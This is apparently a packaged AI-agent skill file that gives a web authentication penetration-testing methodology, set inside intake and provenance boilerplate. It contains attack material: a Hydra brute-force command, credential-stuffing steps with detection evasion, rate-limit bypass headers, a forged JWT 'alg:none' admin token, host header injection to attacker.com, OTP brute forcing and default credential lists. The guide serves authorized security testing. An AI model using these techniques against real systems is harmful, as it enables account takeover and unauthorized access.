Broken Authentication Testing

Overview

This public intake copy packages

plugins/antigravity-awesome-skills-claude/skills/broken-authentication

https://github.com/sickn33/antigravity-awesome-skills

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses

metadata.json

ORIGIN.md

Broken Authentication Testing

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations.

When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

• This skill is applicable to execute the workflow or actions described in the overview.
• Use when the request clearly matches the imported source intent: Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and....
• Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
• Use when provenance needs to stay visible in the answer, PR, or review packet.
• Use when copied upstream references, examples, or scripts materially improve the answer.
• Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

Operating Table

metadata.json

ORIGIN.md

SKILL.md

SKILL.md

## Related Skills

Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

1. Password-based (forms, basic auth, digest)
2. Token-based (JWT, OAuth, API keys)
3. Certificate-based (mutual TLS)
4. Multi-factor (SMS, TOTP, hardware tokens)
5. Capture login request
6. Send to Intruder
7. Set payload positions on password field

Imported Workflow Notes

Imported: Core Workflow

Phase 1: Authentication Mechanism Analysis

Understand the application's authentication architecture:

# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)

# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*

Capture and analyze authentication requests:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test123

Phase 2: Password Policy Testing

Evaluate password requirements and enforcement:

# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)

Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.

Phase 3: Credential Enumeration

Test for username enumeration vulnerabilities:

# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages

Password reset

"Email sent if account exists" (secure) "No account with that email" (leaks info)

API responses

{"error": "user_not_found"} {"error": "invalid_password"}

### Phase 4: Brute Force Testing

Test account lockout and rate limiting:

```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes

Check for protections:

# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?

# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?

# CAPTCHA
- After failed attempts?
- Easily bypassable?

Phase 5: Credential Stuffing

Test with known breached credentials:

# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches

# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins

# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts

Phase 6: Session Management Testing

Analyze session token security:

# Capture session cookie
Cookie: SESSIONID=abc123def456

# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?

Session token analysis:

#!/usr/bin/env python3
import requests
import hashlib

# Collect multiple session tokens
tokens = []
for i in range(100):
    response = requests.get("https://target.com/login")
    token = response.cookies.get("SESSIONID")
    tokens.append(token)

# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components

Phase 7: Session Fixation Testing

Test if session is regenerated after authentication:

# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123

# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid

# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login

Attack scenario:

# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
   https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session

Phase 8: Session Timeout Testing

Verify session expiration policies:

# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid

# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)

# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side

Phase 9: Multi-Factor Authentication Testing

Assess MFA implementation security:

# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint

# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse

# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls

# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass

Test MFA enrollment:

# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?

# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?

Phase 10: Password Reset Testing

Analyze password reset security:

# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
   - Length and randomness
   - Expiration time
   - Single-use enforcement
   - Account binding

# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token

# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
# Reset email may contain attacker's domain

Imported: Purpose

Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.

Examples

Example 1: Ask for the upstream workflow directly

Use @broken-authentication to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.

Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

Example 2: Ask for a provenance-grounded review

Review @broken-authentication against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.

Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

Example 3: Narrow the copied support files before execution

Use @broken-authentication for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.

Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

Example 4: Build a reviewer packet

Review @broken-authentication using the copied upstream files plus provenance, then summarize any gaps before merge.

Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.

Imported Usage Notes

Imported: Examples

Example 1: Account Lockout Bypass

Scenario: Test if account lockout can be bypassed

# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"

# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1

# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked

# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts

Example 2: JWT Token Attack

Scenario: Exploit weak JWT implementation

# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}

# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Example 3: Password Reset Token Exploitation

Scenario: Test password reset functionality

# Step 1: Request reset for test account
POST /forgot-password
email=test@example.com

# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6

# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token

# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
# Check if admin's password can be reset with test user's token

Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

• Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
• Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
• Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
• Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
• Treat generated examples as scaffolding; adapt them to the concrete task before execution.
• Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.

Troubleshooting

Problem: The operator skipped the imported context and answered too generically

Symptoms: The result ignores the upstream workflow in

plugins/antigravity-awesome-skills-claude/skills/broken-authentication

metadata.json

ORIGIN.md

Problem: The imported workflow feels incomplete during review

Symptoms: Reviewers can see the generated

SKILL.md

Problem: The task drifted into a different specialization

Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

Imported Troubleshooting Notes

Imported: Troubleshooting

Related Skills

• @azure-mgmt-apicenter-py

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @azure-mgmt-apimanagement-dotnet

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @azure-mgmt-apimanagement-py

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @azure-mgmt-applicationinsights-dotnet

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

references

references/n/a

examples

examples/n/a

scripts

scripts/n/a

agents

agents/n/a

assets

assets/n/a

Imported Reference Notes

Imported: Quick Reference

Common Vulnerability Types

Credential Testing Payloads

# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user

# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123

# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists

Session Cookie Flags

Rate Limiting Bypass Headers

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

Imported: Prerequisites

Required Knowledge

• HTTP protocol and session mechanisms
• Authentication types (SFA, 2FA, MFA)
• Cookie and token handling
• Common authentication frameworks

Required Tools

• Burp Suite Professional or Community
• Hydra or similar brute-force tools
• Custom wordlists for credential testing
• Browser developer tools

Required Access

• Target application URL
• Test account credentials
• Written authorization for testing

Imported: Outputs and Deliverables

1. Authentication Assessment Report - Document all identified vulnerabilities
2. Credential Testing Results - Brute-force and dictionary attack outcomes
3. Session Security Analysis - Token randomness and timeout evaluation
4. Remediation Recommendations - Security hardening guidance

Imported: Constraints and Limitations

Legal Requirements

• Only test with explicit written authorization
• Avoid testing with real breached credentials
• Do not access actual user accounts
• Document all testing activities

Technical Limitations

• CAPTCHA may prevent automated testing
• Rate limiting affects brute force timing
• MFA significantly increases attack difficulty
• Some vulnerabilities require victim interaction

Scope Considerations

• Test accounts may behave differently than production
• Some features may be disabled in test environments
• Third-party authentication may be out of scope
• Production testing requires extra caution